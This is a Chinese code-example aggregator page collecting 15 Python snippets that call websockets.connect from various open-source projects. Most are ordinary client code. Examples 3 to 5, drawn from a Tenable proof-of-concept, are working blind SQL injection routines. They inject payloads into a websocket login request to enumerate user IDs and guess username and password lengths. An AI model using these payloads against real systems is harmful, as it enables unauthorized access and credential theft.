當前位置: 首頁>>代碼示例>>Python>>正文


Python websockets.connect方法代碼示例

本文整理匯總了Python中websockets.connect方法的典型用法代碼示例。如果您正苦於以下問題:Python websockets.connect方法的具體用法?Python websockets.connect怎麽用?Python websockets.connect使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在websockets的用法示例。


在下文中一共展示了websockets.connect方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: __init__

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def __init__(self, url, json=False, wrap=False):
        async def _listen(url=url, json=json, wrap=wrap):
            async with websockets.connect(url) as websocket:
                async for x in websocket:
                    if isinstance(x, StreamNone):
                        continue
                    elif not x or isinstance(x, StreamEnd):
                        break

                    if json:
                        x = JSON.loads(x)
                    if wrap:
                        x = [x]
                    yield x

        super().__init__(foo=_listen)
        self._name = 'WebSocket' 
開發者ID:timkpaine,項目名稱:tributary,代碼行數:19,代碼來源:ws.py

示例2: connect_and_get_result

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def connect_and_get_result(self, request_id, local_file):
        last_msg_id = '0'
        try:
            endpoint = self.ws_endpoint + "/ws?id=" + request_id + '&last_msg_id=' + str(last_msg_id)
            async with websockets.connect(endpoint) as websocket:
                while True:
                    data = await websocket.recv()
                    data = json.loads(data)

                    if '_msg_id' in data:
                        last_msg_id = data['_msg_id']

                    self.handle_weboscket_respone(data, local_file)

                    if self.get_response_data_type(data) == 'result':
                        return data
        except Exception as e:
            self.show_output(e)
            await asyncio.sleep(2)
            return {} 
開發者ID:augerai,項目名稱:a2ml,代碼行數:22,代碼來源:remote_runner.py

示例3: guess_user_ids

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def guess_user_ids(uri, ssl_context):
    user_id = 0
    id_list = []
    while user_id < 1000:
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            print('[+] Scanning for valid user ids: ' + str(user_id), end='\r')
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(user_id)+'--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                id_list.append(user_id)
            user_id += 1

    print('\n[+] Found ' + str(len(id_list)) + ' accounts.')
    return id_list

# Given a user ID figure out how long the username is 
開發者ID:tenable,項目名稱:poc,代碼行數:20,代碼來源:dump_http_user_creds.py

示例4: guess_username_length

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def guess_username_length(uri, ssl_context, uid):
    length = 1
    while length < 100:
        print('[+] Guessing user id ' + str(uid) + '\'s username length: ' + str(length), end='\r')
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND LENGTH(user_name)=' + str(length) + '--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                print('')
                break
            else:
                length = length + 1
                if (length == 100):
                    print('\n[-] Failed to guess the user\'s username length.')
                    sys.exit(0)
    return length

# Guess the user's username. Limited to length bytes. Could optimize out length
# using an additional lookup after each successful match. 
開發者ID:tenable,項目名稱:poc,代碼行數:23,代碼來源:dump_http_user_creds.py

示例5: guess_password_length

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def guess_password_length(uri, ssl_context, uid, username):
    length = 0
    while length < 100:
        print('[+] Guessing user id ' + str(uid) + '\'s password length: ' + str(length), end='\r')
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + '--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                break
            else:
                length = length + 1
                # if we hit max password length than we've done something wrong
                if (length == 100):
                    print('[+] Couldn\'t determine the passwords length.')
                    sys.exit(1)

    print('')
    return length

# Guess the user's password. Limited to length bytes. Could optimize out length
# using an additional lookup after each successful match. 
開發者ID:tenable,項目名稱:poc,代碼行數:25,代碼來源:dump_http_user_creds.py

示例6: async_send_msg

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def async_send_msg(self, message: Message) -> object:
        """Asynchronous version of send_msg."""
        if self.verbose:
            print("async_send_msg", message)

        async with websockets.connect(
            self.url, timeout=self.timeout, max_size=None, ping_timeout=self.timeout
        ) as websocket:
            # Step 1: serialize the message to a binary
            bin_message = sy.serde.serialize(message, worker=self)

            # Step 2: send the message
            await websocket.send(bin_message)

            # Step 3: wait for a response
            bin_response = await websocket.recv()

            # Step 4: deserialize the response
            response = sy.serde.deserialize(bin_response, worker=self)

        return response 
開發者ID:OpenMined,項目名稱:PySyft,代碼行數:23,代碼來源:websocket_client.py

示例7: _register

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def _register(self):
        """Register wrapper."""
        logger.debug('register on %s', "ws://{}:{}".format(self.ip, self.port));
        try:
            websocket = yield from websockets.connect(
                "ws://{}:{}".format(self.ip, self.port), timeout=self.timeout_connect)

        except:
            logger.error('register failed to connect to %s', "ws://{}:{}".format(self.ip, self.port));
            return False

        logger.debug('register websocket connected to %s', "ws://{}:{}".format(self.ip, self.port));

        try:
            yield from self._send_register_payload(websocket)

        finally:
            logger.debug('close register connection to %s', "ws://{}:{}".format(self.ip, self.port));
            yield from websocket.close() 
開發者ID:TheRealLink,項目名稱:pylgtv,代碼行數:21,代碼來源:webos_client.py

示例8: ws_client_factory

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def ws_client_factory(initiator_key, event_loop, client_kwargs, server):
    """
    Return a simplified :class:`websockets.client.connect` wrapper
    where no parameters are required.
    """
    # Note: The `server` argument is only required to fire up the server.
    server_ = server

    # Create SSL context
    ssl_context = ssl.create_default_context(
        ssl.Purpose.SERVER_AUTH, cafile=pytest.saltyrtc.cert)
    ssl_context.load_dh_params(pytest.saltyrtc.dh_params)

    def _ws_client_factory(server=None, path=None, **kwargs):
        if server is None:
            server = server_
        if path is None:
            path = '{}/{}'.format(url(*server.address), key_path(initiator_key))
        _kwargs = client_kwargs.copy()
        _kwargs.update(kwargs)
        return websockets.connect(path, ssl=ssl_context, **_kwargs)
    return _ws_client_factory 
開發者ID:saltyrtc,項目名稱:saltyrtc-server-python,代碼行數:24,代碼來源:conftest.py

示例9: connect_params

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def connect_params(self):
        """Return a tuple of parameters suitable for passing to
        Connection.connect that can be used to make a new connection
        to the same controller (and model if specified. The first
        element in the returned tuple holds the endpoint argument;
        the other holds a dict of the keyword args.
        """
        return {
            'endpoint': self.endpoint,
            'uuid': self.uuid,
            'username': self.username,
            'password': self.password,
            'cacert': self.cacert,
            'bakery_client': self.bakery_client,
            'loop': self.loop,
            'max_frame_size': self.max_frame_size,
        } 
開發者ID:juju,項目名稱:python-libjuju,代碼行數:19,代碼來源:connection.py

示例10: server_handler

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def server_handler(self, ws, *args, **kwargs):
        async for message in ws:
            client_id, request, data = self.client_message(message)

            if request == "echo":
                await ws.send(json.dumps({"result":message}))
    
            elif request == "connect":
                self.clients[client_id] = await self.on_connect(ws, client_id)
                self.connected_clients = [client_id for client_id in self.clients]
    
            elif request == "disconnect":
                await self.on_disconnect(ws, client_id)
                self.connected_clients = [client_id for client_id in self.clients]
            else:
                await self.respond(ws, client_id, request, data) 
開發者ID:BnetButter,項目名稱:hwk-mirror,代碼行數:18,代碼來源:interface.py

示例11: connect

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def connect(self):
        await self._dispatch({'ev': 'status',
                              'status': 'connecting',
                              'message': 'Connecting to Polygon'})
        self._ws = await websockets.connect(self._endpoint)
        self._stream = self._recv()

        msg = await self._next()
        if msg.get('status') != 'connected':
            raise ValueError(
                ("Invalid response on Polygon websocket connection: {}"
                    .format(msg))
            )
        await self._dispatch(msg)
        if await self.authenticate():
            self._consume_task = asyncio.ensure_future(self._consume_msg())
        else:
            await self.close() 
開發者ID:alpacahq,項目名稱:alpaca-trade-api-python,代碼行數:20,代碼來源:streamconn.py

示例12: _ensure_ws

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def _ensure_ws(self):
        if self._ws is not None:
            return

        while self._retries <= self._retry:
            try:
                await self.connect()
                if self._streams:
                    await self.subscribe(self._streams)
                break
            except Exception as e:
                await self._dispatch({'ev': 'status',
                                      'status': 'connect failed',
                                      'message':
                                      f'Polygon Connection Failed ({e})'})
                self._ws = None
                self._retries += 1
                time.sleep(self._retry_wait * self._retry)
        else:
            raise ConnectionError("Max Retries Exceeded") 
開發者ID:alpacahq,項目名稱:alpaca-trade-api-python,代碼行數:22,代碼來源:streamconn.py

示例13: download_game

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def download_game(self):
        # Check
        if self.id is None:
            return

        # Open a websocket to retrieve the game
        async def coro(self):
            result = None
            ws = await websockets.connect('wss://www.pychess.org/wsr', origin="https://www.pychess.org", ping_interval=None)
            try:
                await ws.send('{"type":"board","gameId":"%s"}' % self.id)
                for i in range(5):
                    data = await ws.recv()
                    data = self.json_loads(data)
                    if data['type'] == 'board' and data['gameId'] == self.id:
                        result = data['pgn'] if data['pgn'] != '' else None
                        break
            finally:
                await ws.close()
            self.data = result

        await coro(self)


# Generic 
開發者ID:pychess,項目名稱:pychess,代碼行數:27,代碼來源:remotegame.py

示例14: start

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def start(self):
        self.websocket = await websockets.connect(self._uri)

        async def listener():
            while True:
                message = await self.websocket.recv()
                decoded = json.loads(message)
                id = decoded["request_id"]

                if id in self._request_dict:
                    if id in self._request_dict:
                        self.response_dict[id] = decoded
                        self._request_dict[id].set()

        asyncio.create_task(listener())
        await asyncio.sleep(1) 
開發者ID:Chia-Network,項目名稱:chia-blockchain,代碼行數:18,代碼來源:client.py

示例15: startChat

# 需要導入模塊: import websockets [as 別名]
# 或者: from websockets import connect [as 別名]
def startChat():
        time.sleep(10) #todo: only wait as needed (wait for interenet)
        print("restarting loop")
        time.sleep(0.25)

        while True:
                    print("CHAT: starting chat loop")
                    
                    try:
                                asyncio.new_event_loop().run_until_complete(handleChatMessages())
                    except:
                                print("CHAT: error")
                                traceback.print_exc()
                    print("CHAT: event handler died")
                    # sleep to stop hammering endpoint requests
                    time.sleep(2)

#async def hello(uri):
#       async with websockets.connect(uri) as websocket:
#                await websocket.send(json.dumps({"message":"message"}))
#                while True:
#                        print("recv")
#                        x = await websocket.recv()
#                        print(x) 
開發者ID:robotstreamer,項目名稱:robotstreamer,代碼行數:26,代碼來源:controller.py


注:本文中的websockets.connect方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。